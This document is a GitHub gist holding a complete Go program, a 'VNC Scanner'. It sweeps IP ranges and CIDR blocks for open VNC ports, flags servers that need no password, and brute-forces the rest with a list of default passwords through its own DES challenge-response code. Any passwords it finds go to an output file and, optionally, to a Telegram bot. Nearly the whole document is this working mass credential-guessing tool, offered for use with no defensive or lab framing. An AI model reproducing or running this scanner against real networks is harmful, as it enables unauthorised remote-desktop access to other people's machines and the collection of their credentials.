Skip to content

Instantly share code, notes, and snippets.

@s3rgeym
Last active June 1, 2026 23:59
Show Gist options
  • Select an option

  • Save s3rgeym/eb0fa6f75f3afad28763ae2c96ce399d to your computer and use it in GitHub Desktop.

Select an option

Save s3rgeym/eb0fa6f75f3afad28763ae2c96ce399d to your computer and use it in GitHub Desktop.
Go VNC Scanner
package main
import (
"bufio"
"context"
"crypto/des"
"encoding/binary"
"flag"
"fmt"
"io"
"net"
"net/http"
"net/url"
"os"
"os/signal"
"path/filepath"
"slices"
"strconv"
"strings"
"sync"
"syscall"
"time"
)
const (
colorReset = "\033[0m"
colorBlack = "\033[30m"
colorRed = "\033[31m"
colorGreen = "\033[32m"
colorYellow = "\033[33m"
colorBlue = "\033[34m"
colorMagenta = "\033[35m"
colorCyan = "\033[36m"
colorWhite = "\033[37m"
colorGray = "\033[90m"
)
const (
RFB_VERSION_LEN = 12
AUTH_NONE = 1
AUTH_VNC = 2
)
var (
connTimeout time.Duration
workerCount int
rps int
verbose bool
passwordsPath string
portsFlag string
tgTokenFlag string
tgChatIDFlag int64
outputPath string
permits chan struct{}
)
func init() {
flag.DurationVar(&connTimeout, "timeout-conn", 5*time.Second, "Connection timeout (also for read/write)")
flag.DurationVar(&connTimeout, "t", 5*time.Second, "Connection timeout (short)")
flag.IntVar(&workerCount, "workers", 50, "Number of concurrent workers")
flag.IntVar(&workerCount, "w", 50, "Number of concurrent workers (short)")
flag.IntVar(&rps, "rps", 150, "Requests per second limit")
flag.IntVar(&rps, "r", 150, "Requests per second limit (short)")
flag.BoolVar(&verbose, "v", false, "Verbose logging")
flag.StringVar(&passwordsPath, "passwords", "", "Path to the passwords file")
flag.StringVar(&passwordsPath, "P", "", "Path to the passwords file (short)")
flag.StringVar(&portsFlag, "ports", "", "Comma-separated list of ports or ranges (e.g., 5900-5910). Default: 5900,5901,5902")
flag.StringVar(&portsFlag, "p", "", "Ports (short)")
flag.StringVar(&tgTokenFlag, "tg-token", "", "Telegram bot token")
flag.Int64Var(&tgChatIDFlag, "tg-chat-id", 0, "Telegram chat ID")
flag.StringVar(&outputPath, "output", "", "Output file for results (default: stdout)")
flag.StringVar(&outputPath, "o", "", "Output file (short)")
}
func getEnv(key, defaultValue string) string {
if val := os.Getenv(key); val != "" {
return val
}
return defaultValue
}
type Result struct {
IP string
Port int
Password string
}
func main() {
flag.Parse()
if rps <= 0 {
logError("RPS must be positive (got %d)", rps)
os.Exit(1)
}
if workerCount <= 0 {
logError("Worker count must be positive (got %d)", workerCount)
os.Exit(1)
}
if connTimeout <= 0 {
logError("Connection timeout must be positive (got %v)", connTimeout)
os.Exit(1)
}
args := flag.Args()
if len(args) < 1 {
logError("At least one host, IP, IP range, or CIDR must be specified")
fmt.Fprintf(os.Stderr, "Usage: %s [flags] <target1> [target2 ...]\n", filepath.Base(os.Args[0]))
os.Exit(1)
}
var outputFile *os.File
if outputPath != "" {
var err error
outputFile, err = os.OpenFile(outputPath, os.O_WRONLY|os.O_CREATE|os.O_APPEND, 0644)
if err != nil {
logError("Failed to open output file: %v", err)
os.Exit(1)
}
defer outputFile.Close()
} else {
outputFile = os.Stdout
}
tgToken := tgTokenFlag
if tgToken == "" {
tgToken = getEnv("TG_TOKEN", "")
}
tgChatID := tgChatIDFlag
if tgChatID == 0 {
if envChatID := getEnv("TG_CHAT_ID", ""); envChatID != "" {
if id, err := strconv.ParseInt(envChatID, 10, 64); err == nil {
tgChatID = id
}
}
}
enableTelegram := tgToken != "" && tgChatID != 0
logDebug("Telegram notifications: %s", map[bool]string{true: "on", false: "off"}[enableTelegram])
var ports []int
var err error
if portsFlag != "" {
ports, err = parsePorts(portsFlag)
if err != nil {
logError("Parsing ports failed: %v", err)
os.Exit(1)
}
} else {
ports = []int{5900, 5901, 5902}
}
logDebug("Scanning ports: %v", ports)
ctx, stop := signal.NotifyContext(context.Background(), os.Interrupt, syscall.SIGTERM)
defer stop()
var passwords []string
if passwordsPath != "" {
passwords, err = loadPasswords(passwordsPath)
if err != nil {
logError("Loading passwords failed: %v", err)
os.Exit(1)
}
} else {
passwords = []string{
"admin",
"root",
"password",
"qwerty",
"secret",
"vnc",
"vncvnc",
"realvnc",
"123456",
"12345678",
}
}
tasks := make(chan string, workerCount*2)
go func() {
defer close(tasks)
if err := generateAddresses(ctx, args, tasks); err != nil {
logError("Address generation failed: %v", err)
os.Exit(1)
}
}()
resultsChan := make(chan Result)
var outputWg sync.WaitGroup
outputWg.Go(func() {
for res := range resultsChan {
var outputMsg string
if res.Password == "" {
outputMsg = fmt.Sprintf("%s:%d", res.IP, res.Port)
} else {
outputMsg = fmt.Sprintf("%s:%d - %s", res.IP, res.Port, res.Password)
}
fmt.Fprintln(outputFile, outputMsg)
if outputFile != os.Stdout {
if err := outputFile.Sync(); err != nil {
logWarn("Failed to sync file to disk: %v", err)
}
}
if enableTelegram {
if err := sendTelegramMessage(ctx, tgToken, tgChatID, fmt.Sprintf("VNC Found: %s", outputMsg)); err != nil {
logWarn("Failed to send Telegram message: %v", err)
}
}
}
})
tickerInterval := time.Second / time.Duration(rps)
ticker := time.NewTicker(tickerInterval)
defer ticker.Stop()
permits = make(chan struct{}, 1)
go func() {
for range ticker.C {
select {
case permits <- struct{}{}:
default:
}
}
}()
var workerWg sync.WaitGroup
logDebug("Starting verification process using %d workers, rate limit %d RPS", workerCount, rps)
for i := 0; i < workerCount; i++ {
workerWg.Go(func() {
for {
select {
case <-ctx.Done():
return
case ip, ok := <-tasks:
if !ok {
return
}
processAddress(ctx, ip, ports, passwords, resultsChan)
}
}
})
}
workerWg.Wait()
close(resultsChan)
outputWg.Wait()
logSuccess("Finished!")
}
func parsePorts(portsStr string) ([]int, error) {
var allPorts []int
parts := strings.SplitSeq(portsStr, ",")
for part := range parts {
part = strings.TrimSpace(part)
if part == "" {
continue
}
if strings.Contains(part, "-") {
ports, err := parsePortRange(part)
if err != nil {
return nil, err
}
allPorts = append(allPorts, ports...)
} else {
p, err := strconv.Atoi(part)
if err != nil || p < 1 || p > 65535 {
return nil, fmt.Errorf("invalid port number: %s", part)
}
allPorts = append(allPorts, p)
}
}
if len(allPorts) == 0 {
return nil, fmt.Errorf("no valid ports specified")
}
slices.Sort(allPorts)
allPorts = slices.Compact(allPorts)
return allPorts, nil
}
func parsePortRange(part string) ([]int, error) {
parts := strings.Split(part, "-")
if len(parts) != 2 {
return nil, fmt.Errorf("invalid port range: %s", part)
}
start, err := strconv.Atoi(strings.TrimSpace(parts[0]))
if err != nil || start < 1 || start > 65535 {
return nil, fmt.Errorf("invalid start port in range: %s", parts[0])
}
end, err := strconv.Atoi(strings.TrimSpace(parts[1]))
if err != nil || end < 1 || end > 65535 {
return nil, fmt.Errorf("invalid end port in range: %s", parts[1])
}
if start > end {
return nil, fmt.Errorf("start port (%d) > end port (%d)", start, end)
}
ports := make([]int, 0, end-start+1)
for p := start; p <= end; p++ {
ports = append(ports, p)
}
return ports, nil
}
func loadPasswords(path string) ([]string, error) {
file, err := os.Open(path)
if err != nil {
return nil, err
}
defer file.Close()
var passwords []string
scanner := bufio.NewScanner(file)
for scanner.Scan() {
text := strings.TrimSpace(scanner.Text())
if text != "" {
passwords = append(passwords, text)
}
}
if len(passwords) == 0 {
return nil, fmt.Errorf("password file contains no non-empty lines")
}
return passwords, scanner.Err()
}
func generateAddresses(ctx context.Context, args []string, tasks chan<- string) error {
for _, arg := range args {
if strings.Contains(arg, "/") {
_, ipNet, err := net.ParseCIDR(arg)
if err != nil {
return fmt.Errorf("invalid CIDR %q: %v", arg, err)
}
_, bits := ipNet.Mask.Size()
if bits != 32 {
return fmt.Errorf("IPv6 CIDR %s is not supported", arg)
}
ip := ipNet.IP.Mask(ipNet.Mask)
for ipNet.Contains(ip) {
select {
case <-ctx.Done():
return nil
default:
}
if isEdgeAddress(ip, ipNet) {
incrementIP(ip)
continue
}
select {
case <-ctx.Done():
return nil
case tasks <- ip.String():
}
incrementIP(ip)
}
} else {
if arg == "" {
return fmt.Errorf("empty target string")
}
select {
case <-ctx.Done():
return nil
case tasks <- arg:
}
}
}
return nil
}
func isEdgeAddress(ip net.IP, ipNet *net.IPNet) bool {
ip4 := ip.To4()
if ip4 == nil {
return false
}
ones, bits := ipNet.Mask.Size()
if bits == 32 && ones < 31 {
network := ipNet.IP.Mask(ipNet.Mask)
broadcast := make(net.IP, len(network))
for i := range network {
broadcast[i] = network[i] | ^ipNet.Mask[i]
}
if ip.Equal(network) || ip.Equal(broadcast) {
return true
}
}
return false
}
func incrementIP(ip net.IP) {
for j := len(ip) - 1; j >= 0; j-- {
ip[j]++
if ip[j] > 0 {
break
}
}
}
func processAddress(ctx context.Context, ip string, ports []int, passwords []string, results chan<- Result) {
for _, port := range ports {
select {
case <-ctx.Done():
return
default:
}
ok, password := checkVNC(ctx, ip, port, passwords)
if ok {
select {
case <-ctx.Done():
return
case results <- Result{IP: ip, Port: port, Password: password}:
}
return
}
}
}
func checkVNC(ctx context.Context, ip string, port int, passwords []string) (bool, string) {
address := fmt.Sprintf("%s:%d", ip, port)
timeoutCtx, cancel := context.WithTimeout(ctx, connTimeout)
defer cancel()
authType, _, err := getVNCAuthType(timeoutCtx, address)
if err != nil {
logWarn("Failed to get auth type from %s: %v", address, err)
return false, ""
}
switch authType {
case AUTH_NONE:
ok, err := verifyNoAuth(timeoutCtx, address)
if err == nil && ok {
logSuccess("Passwordless authentication succeeded: %s", address)
return true, ""
}
logWarn("AUTH_NONE advertised but verification failed: %v", err)
return false, ""
case AUTH_VNC:
for _, password := range passwords {
select {
case <-timeoutCtx.Done():
return false, ""
default:
}
logDebug("Trying password on %s: %s", address, password)
if checkVNCPassword(timeoutCtx, address, password) {
logSuccess("Authentication succeeded: %s - %s", address, password)
return true, password
}
}
return false, ""
default:
logDebug("Unknown auth type %d on %s", authType, address)
return false, ""
}
}
func getVNCAuthType(ctx context.Context, address string) (byte, byte, error) {
conn, err := connectVNC(ctx, address)
if err != nil {
return 0, 0, err
}
defer conn.Close()
if deadline, ok := ctx.Deadline(); ok {
conn.SetDeadline(deadline)
} else {
conn.SetDeadline(time.Now().Add(connTimeout))
}
serverVersion := make([]byte, RFB_VERSION_LEN)
if _, err := io.ReadFull(conn, serverVersion); err != nil {
return 0, 0, err
}
verStr := string(serverVersion)
logDebug("Server version: %s", strings.Trim(verStr, "\r\n"))
clientVersion := []byte("RFB 003.008\n")
if _, err := conn.Write(clientVersion); err != nil {
return 0, 0, err
}
if strings.HasPrefix(verStr, "RFB 003.003") {
var secType uint32
if err := binary.Read(conn, binary.BigEndian, &secType); err != nil {
return 0, 0, err
}
switch secType {
case AUTH_NONE:
return AUTH_NONE, byte(secType), nil
case AUTH_VNC:
return AUTH_VNC, byte(secType), nil
default:
return 0, 0, fmt.Errorf("unsupported security type %d", secType)
}
}
var numSecTypes uint8
if err := binary.Read(conn, binary.BigEndian, &numSecTypes); err != nil {
return 0, 0, err
}
secTypes := make([]byte, numSecTypes)
if _, err := io.ReadFull(conn, secTypes); err != nil {
return 0, 0, err
}
for _, t := range secTypes {
if t == AUTH_NONE {
return AUTH_NONE, t, nil
}
}
for _, t := range secTypes {
if t == AUTH_VNC {
return AUTH_VNC, t, nil
}
}
return 0, 0, fmt.Errorf("no supported auth type")
}
func verifyNoAuth(ctx context.Context, address string) (bool, error) {
conn, err := connectVNC(ctx, address)
if err != nil {
return false, err
}
defer conn.Close()
if deadline, ok := ctx.Deadline(); ok {
conn.SetDeadline(deadline)
}
serverVersion := make([]byte, RFB_VERSION_LEN)
if _, err := io.ReadFull(conn, serverVersion); err != nil {
return false, err
}
clientVersion := []byte("RFB 003.008\n")
if _, err := conn.Write(clientVersion); err != nil {
return false, err
}
var numSecTypes uint8
if err := binary.Read(conn, binary.BigEndian, &numSecTypes); err != nil {
return false, err
}
secTypes := make([]byte, numSecTypes)
if _, err := io.ReadFull(conn, secTypes); err != nil {
return false, err
}
if _, err := conn.Write([]byte{AUTH_NONE}); err != nil {
return false, err
}
var authResult uint32
if err := binary.Read(conn, binary.BigEndian, &authResult); err != nil {
return false, err
}
return authResult == 0, nil
}
func checkVNCPassword(ctx context.Context, address, password string) bool {
conn, err := connectVNC(ctx, address)
if err != nil {
return false
}
defer conn.Close()
if deadline, ok := ctx.Deadline(); ok {
conn.SetDeadline(deadline)
} else {
conn.SetDeadline(time.Now().Add(connTimeout))
}
serverVersion := make([]byte, RFB_VERSION_LEN)
if _, err := io.ReadFull(conn, serverVersion); err != nil {
return false
}
clientVersion := []byte("RFB 003.008\n")
if _, err := conn.Write(clientVersion); err != nil {
return false
}
var numSecTypes uint8
if err := binary.Read(conn, binary.BigEndian, &numSecTypes); err != nil {
return false
}
secTypes := make([]byte, numSecTypes)
if _, err := io.ReadFull(conn, secTypes); err != nil {
return false
}
if !slices.Contains(secTypes, AUTH_VNC) {
return false
}
if _, err := conn.Write([]byte{AUTH_VNC}); err != nil {
return false
}
challenge := make([]byte, 16)
if _, err := io.ReadFull(conn, challenge); err != nil {
return false
}
response, err := encryptVNCChallenge(challenge, password)
if err != nil {
logDebug("Encryption failed for %s: %v", address, err)
return false
}
if _, err := conn.Write(response); err != nil {
return false
}
var authResult uint32
if err := binary.Read(conn, binary.BigEndian, &authResult); err != nil {
return false
}
return authResult == 0
}
func encryptVNCChallenge(challenge []byte, password string) ([]byte, error) {
keyBytes := make([]byte, 8)
copy(keyBytes, []byte(password))
for i := range 8 {
keyBytes[i] = reverseBits(keyBytes[i])
}
block, err := des.NewCipher(keyBytes)
if err != nil {
return nil, err
}
encrypted := make([]byte, 16)
for i := 0; i < 16; i += 8 {
block.Encrypt(encrypted[i:i+8], challenge[i:i+8])
}
return encrypted, nil
}
func reverseBits(b byte) byte {
var result byte
for i := range 8 {
result |= ((b >> i) & 1) << (7 - i)
}
return result
}
func connectVNC(ctx context.Context, address string) (net.Conn, error) {
select {
case <-ctx.Done():
return nil, ctx.Err()
case <-permits:
}
var d net.Dialer
return d.DialContext(ctx, "tcp", address)
}
func sendTelegramMessage(ctx context.Context, token string, chatID int64, text string) error {
// Таймаут остаётся, но контекст уже может быть отменён раньше
ctx, cancel := context.WithTimeout(ctx, 10*time.Second)
defer cancel()
apiURL := fmt.Sprintf("https://api.telegram.org/bot%s/sendMessage", token)
data := url.Values{}
data.Set("chat_id", fmt.Sprintf("%d", chatID))
data.Set("text", text)
req, err := http.NewRequestWithContext(ctx, "POST", apiURL, strings.NewReader(data.Encode()))
if err != nil {
return err
}
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
resp, err := http.DefaultClient.Do(req)
if err != nil {
return err
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return fmt.Errorf("telegram API returned %d", resp.StatusCode)
}
return nil
}
func logMessage(color, prefix, format string, args ...any) {
msg := fmt.Sprintf(format, args...)
fmt.Fprintf(os.Stderr, "%s[%s] %s%s\n", color, prefix, msg, colorReset)
}
func logDebug(format string, args ...any) {
if verbose {
logMessage(colorBlue, "D", format, args...)
}
}
func logWarn(format string, args ...any) {
logMessage(colorYellow, "!", format, args...)
}
func logError(format string, args ...any) {
logMessage(colorRed, "E", format, args...)
}
func logSuccess(format string, args ...any) {
logMessage(colorGreen, "+", format, args...)
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment